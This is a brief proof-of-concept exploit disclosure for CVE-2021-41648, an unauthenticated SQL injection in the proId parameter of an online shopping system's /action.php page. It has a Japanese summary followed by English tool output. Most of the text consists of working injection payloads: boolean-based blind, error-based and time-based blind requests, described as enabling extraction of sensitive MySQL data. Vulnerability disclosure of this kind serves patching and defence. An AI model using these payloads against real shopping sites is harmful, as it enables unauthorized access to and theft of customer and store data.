
オンラインショッピングシステムのproIdパラメータを介した未認証SQLインジェクションの概念実証エクスプロイト。MySQLデータベースからのデータ抽出を可能にします。
CVE-2021-41648 オンラインショッピングシステムにおけるSQLインジェクション
online-shopping-system は、認証なしのエラーベース/ブールベースのブラインドSQLインジェクションおよびエラーベースのSQLインジェクション攻撃に対して脆弱です。
/action.php ページの proId パラメータはユーザー入力をサニタイズしていないため、攻撃者は基盤となるMySQLデータベースから機密データを抽出できます。
URL: /action.php
PARAMETER: proId
Parameter: proId (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: proId=61 OR 17-7=10' OR NOT 4774=4774#&addToCart=1
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: proId=61 OR 17-7=10' OR (SELECT 6869 FROM(SELECT COUNT(*),CONCAT(0x717a716271,(SELECT (ELT(6869=6869,1))),0x716a627871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- gfTu&addToCart=1
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: proId=61 OR 17-7=10' AND (SELECT 2990 FROM (SELECT(SLEEP(5)))YhWy)-- xWNo&addToCart=1

Jason Colyvas
MOBIUSBINARY
2021年9月21日